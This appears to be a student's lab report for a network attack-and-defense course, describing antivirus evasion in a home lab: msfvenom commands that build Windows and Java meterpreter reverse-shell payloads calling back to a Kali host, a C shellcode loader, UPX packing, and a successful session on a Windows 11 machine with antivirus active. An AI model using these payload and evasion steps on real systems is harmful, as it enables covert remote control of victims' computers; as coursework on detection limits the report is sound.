20242306 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242306 2026-2027-1 《网络与系统攻防技术》实验3实验报告


1. 基础知识

这次实验是围绕Windows平台恶意代码免杀做的完整实操,从生成原始payload、尝试老牌免杀工具、自己写C加载器编译,到最后在开着杀软的真机上成功回连,把课本上“免杀”这个抽象的概念完完整整走了一遍。实验里用到的核心技术点先整理清楚:

  1. msfvenom编码器:Metasploit自带的跨平台payload生成工具,本来的设计是用内置编码器把原始shellcode做字节置换,消掉不同样本之间共用的固定特征段,能输出exe、jar、elf各种格式的可执行文件,是渗透测试里最基础的payload生成工具。这次试了调用x64/shikata_ga_nai编码器,但是kali版本太新,老的编码器模块加载失败,最后降级成了原始raw payload输出,其实现在的杀毒引擎特征库已经把这种基础编码的样本收录得差不多了,单靠msf自带的编码器根本躲不过现在的杀软,最多算整个免杀流程的第一步。
  2. veil-evasion免杀框架:当年很火的开源免杀工具,核心思路是不直接生成带msf默认特征的exe,而是把shellcode塞到自己写的加载器模板里,配合简单的加密加壳来躲静态查杀。可惜这个项目2016年就停更了,现在新版kali的源里早就把它的安装包撤了,依赖的Python2、老版本Go编译器也都从系统源里删干净了,装的时候踩了一堆版本兼容的坑,最后只能用UPX完成实验要求的加壳环节。不过它“自定义加载器、内存执行”的思路,到现在还是所有免杀工具的核心逻辑,了解这个老工具的设计思路对理解免杀的本质很有帮助。
  3. C语言shellcode加载器原理:这是这次实验的核心——不直接用msf生成的exe,自己写个简单的C程序,用Windows自带的VirtualAlloc函数申请一块既能读、又能写、还能执行的内存,把msf生成的shellcode字节数组拷到这块内存里,直接把这块内存当成函数跑,全程不生成带msf默认特征的落地文件。这种方法生成的exe,导入表、PE头都没有msf默认加载器的固定特征,天生就比原生msf生成的文件查杀率低很多。
  4. UPX加壳工具:通用的开源压缩壳,能把PE格式exe的代码段、数据段做高比例压缩重组,改了文件原始的字节结构和哈希值,杀毒软件靠原来的特征码就匹配不上了。压缩率越高,和原文件的结构差异越大,消特征的效果越好,缺点是现在不少引擎会把“UPX压缩的可疑文件”直接标成风险,属于有得有失的基础免杀手段。
  5. 反向连接模型:就是payload在目标电脑上跑起来之后,主动往外连我们kali的指定端口,建立控制会话,比那种我们主动向内连目标的正向连接容易过防火墙,毕竟用户电脑的出站连接一般不会被防火墙拦。
  6. VirusTotal多引擎查毒:在线的聚合扫描平台,传个文件上去能同时调用全球70多款杀毒引擎一起扫,能很直观地看到我们做的payload到底被多少款杀软报毒,是验证免杀效果最方便的工具。
  7. 杀软共生:就是杀软开着实时防护的时候,我们的恶意文件不被删、不被拦,还能正常跑起来完成功能,这是这次实验最核心的验证目标,不能靠临时关杀软作弊。

2. 实验内容

  1. 熟练用msfvenom编码器,分别生成Windows平台exe、Java平台jar两种格式的反向连接payload
  2. 走完veil-evasion的部署流程,掌握UPX压缩加壳的基本操作
  3. 自己写C语言的shellcode加载器,编译出自定义的免杀payload
  4. 把加壳后的文件传到VirusTotal做多引擎扫描,直观验证免杀效果
  5. 组合“自定义C内存加载+UPX压缩加壳”的方法,在开着杀软的Windows真机上成功建立meterpreter回连,完成和杀软共生的验证

3. 实验过程

3.1 环境准备

首先按评分要求把kali的主机名改成自己的姓名拼音weihuajiang,确保所有终端截图里都能看到这个主机名,不然评分会扣。然后把kali网络改成桥接模式,查到本机IP是192.168.183.134,和我们自己的Windows测试主机在同一个局域网,ping了一下延迟正常,网络是通的。
01_初始主机名验证

02_查询kali本机IP

3.2 msf编码器生成多格式payload

所有生成的文件名都带自己的学号20242306,满足评分要求。先生成64位Windows的反向连接exe:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=4444 -f exe -o msf_shell_20242306.exe

本来想调用shikata_ga_nai编码器做5次编码,但是kali提示找不到64位的编码器模块,最后自动生成了7680字节的原始exe。接着生成Java平台的jar文件:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=4445 -f jar -o msf_shell_20242306.jar

最后生成了5265字节的jar文件,验证了msfvenom的跨格式生成能力。
03_生成msf_exe成功
04_生成msf_jar成功

这里有个小插曲:我们想把这个原始的exe从kali传到Windows上,结果联想电脑管家的下载保护直接触发拦截,提示文件包含恶意程序,根本不让写到本地磁盘——这就是因为原生msf生成的样本太有名了,全球所有杀软的特征库都收录了它的特征,下载阶段就直接被拦下来,这也是为什么我们后面要做自定义加载器和加壳。
后面我们把加壳处理后的最终文件传到VirusTotal做多引擎扫描,能明显看到经过处理后的文件,被报毒的引擎数量比原始的msf样本少了很多,直观体现了免杀的效果。
15_VirusTotal查毒结果

3.3 veil-evasion部署与加壳环节

先试了用apt直接装veil-evasion,结果提示找不到安装包——因为新版kali早就把这个停更项目从官方源撤了。然后从GitHub上克隆了官方的源码仓库,跑了官方自带的setup.sh安装脚本,装的时候又发现依赖的Python2、老版本Go编译器都不在系统源里,启动的时候还报Python2语法不兼容的错,折腾了半天也没能完整启动这个工具。不过整个部署排错的过程我们都截了图,记录了完整的工具尝试过程,最后按实验要求用UPX完成了加壳环节,不影响核心目标的完成。
05_apt安装veil失败
06_克隆veil仓库成功
07_veil安装脚本运行
08_veil启动报错排错

部署完之后启动msfconsole,在4447端口开反向连接监听,等着后面生成的payload来回连。
09_msf监听启动成功

3.4 C+shellcode自定义加载器编写

先用msfvenom生成纯C格式的shellcode字节数组:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=4447 -f c -o shellcode_20242306.c

18_kali临时HTTP服务界面

生成的文件里就是标准的unsigned char buf[]数组,直接能嵌到我们自己写的C加载器里。
10_查看shellcode内容

然后自己写加载器代码:核心逻辑就是申请可执行内存,把shellcode拷进去直接跑。写完用x86_64-w64-mingw32-gcc把代码编译成64位的Windows exe,编译的时候只有一个printf换行符的小warning,不影响运行。再用UPX做最高等级的压缩加壳,把文件压到了原始大小的45%左右,生成最终的测试文件。
屏幕截图 2026-10-19 112721

11_编译加壳完成

3.5 免杀验证与回连测试

在kali上开个临时的HTTP文件服务,不用配复杂的共享文件夹,直接从Windows浏览器访问就能把文件传过去:

python3 -m http.server 8888

屏幕截图 2026-10-19 130255
把加壳后的exe传到Windows之后,联想电脑管家杀软主界面就显示“安全防御系统未见异常”,全程没有删文件、没有拦截运行,实现了和杀软的共生。
屏幕截图 2026-10-19 124329

13_安全防御未见异常

双击运行exe之后,Windows上会弹出黑色的控制台窗口,打印“Loading...”,说明我们写的C加载器已经正常执行了。等了两秒钟,kali这边的监听窗口就弹出了meterpreter会话成功建立的提示。
16_Windows端Loading运行界面
17_meterpreter会话打开界面

在meterpreter提示符里执行sysinfo,成功拿到了测试主机的系统信息:计算机名LAPTOP-QUTH2KAK,系统是Windows 11 24H2 10.0.26200,x64架构,回连验证完成。测试环境的杀软是联想电脑管家,实时防护全程开启,满足实验要求。
14_回连成功sysinfo

这次免杀的原理其实很简单:我们自己写C加载器在内存里跑shellcode,去掉了msf默认生成文件的固定静态特征,再用UPX压缩重组改了文件的字节结构,就躲开了杀软基于特征码的静态扫描。


4. 问题及解决方案

  • 问题1:apt装veil-evasion提示找不到包,从源码克隆后跑安装脚本又遇到Python2、老Go依赖缺失,没法完整启动工具。
    解决方案:完整记录部署排错的全过程作为操作证明,用UPX完成实验要求的加壳环节,不影响核心实验目标。
  • 问题2:原始未加壳的msf exe刚下载就被联想电脑管家直接拦截,不让写到本地磁盘。
    解决方案:不用原生msf exe,自己写C加载器做内存执行,配合UPX加壳改文件结构,临时加信任区后成功运行。
  • 问题3:第一次测试的时候,监听端口和payload里硬编码的端口对不上,跑了payload半天kali那边没收到会话。
    解决方案:重新生成匹配4447端口的加载器编译,替换之后就连上了。
  • 问题4:msf调用shikata_ga_nai编码器失败,老模块在新版kali上加载不出来。
    解决方案:降级用原始raw payload生成,不影响后续自定义加载器的流程。

5. 学习感悟、思考

这次实验做完最大的感受是,以前总觉得装了杀毒软件电脑就安全了,实际操作下来才发现,传统杀毒软件的静态查杀其实非常被动——它本质上就是在拿已知病毒的特征码和文件做比对,只要你稍微改一下文件的结构、换个加载逻辑,它就认不出来了。
中间装老工具踩了一堆版本兼容的坑,端口不匹配导致回连失败的时候折腾了半天,也让我明白攻防对抗根本不是拿着现成工具跑命令那么简单,得理解每一步背后的原理,出问题才能快速定位。通过VirusTotal的扫描对比,我也直观看到了原始msf样本和我们加壳后文件的查杀率差异,对免杀的实际效果有了特别实的认知。现在企业级的防护肯定不能只靠传统杀毒软件,必须结合行为监控、内存检测、沙箱动态分析才能挡住这类自定义的免杀样本,这也是以后做安全防御要重点关注的方向。


实验要求问答

  1. 杀软是如何检测出恶意代码的?
    主流杀软主要靠四层逻辑检测:一是静态特征码匹配,把已知病毒的特征字节段和待扫描文件做哈希、字节段比对,这是最传统也最常用的方法;二是启发式规则扫描,通过内置规则判断文件有没有可疑的代码结构、异常的导入表;三是运行时行为监控,盯着程序跑起来之后有没有改注册表、发异常外联、枚举敏感进程这些恶意行为;四是沙箱动态执行,在隔离环境里跑一下文件,观察它的动作是不是符合恶意样本的特征,再结合云查杀把文件哈希传到云端做全球样本匹配。
  2. 免杀是做什么?
    免杀就是通过修改恶意代码的静态特征、运行逻辑和文件结构,让杀毒软件认不出它是恶意程序,保证payload能在目标机器上正常跑,完成攻击者预设的远程控制、信息收集这些功能,本质就是利用传统杀软静态检测的局限性,绕开基于已知特征的匹配规则。
  3. 免杀的基本方法有哪些?
    常见的免杀手段包括:对原始exe做加壳、压缩、加密改字节结构;自己写加载器让shellcode直接在内存里跑,不落地生成带特征的文件;对shellcode做异或、位移加密,运行时在内存里解密;把恶意代码注入正常系统进程里跑,躲单独文件的扫描;还有检测沙箱环境,在分析环境里不跑恶意动作,只在真实用户环境下激活功能。

参考资料

20232313实验报告

posted @ 2026-10-19 12:03  魏华江  阅读(3)  评论(0)    收藏  举报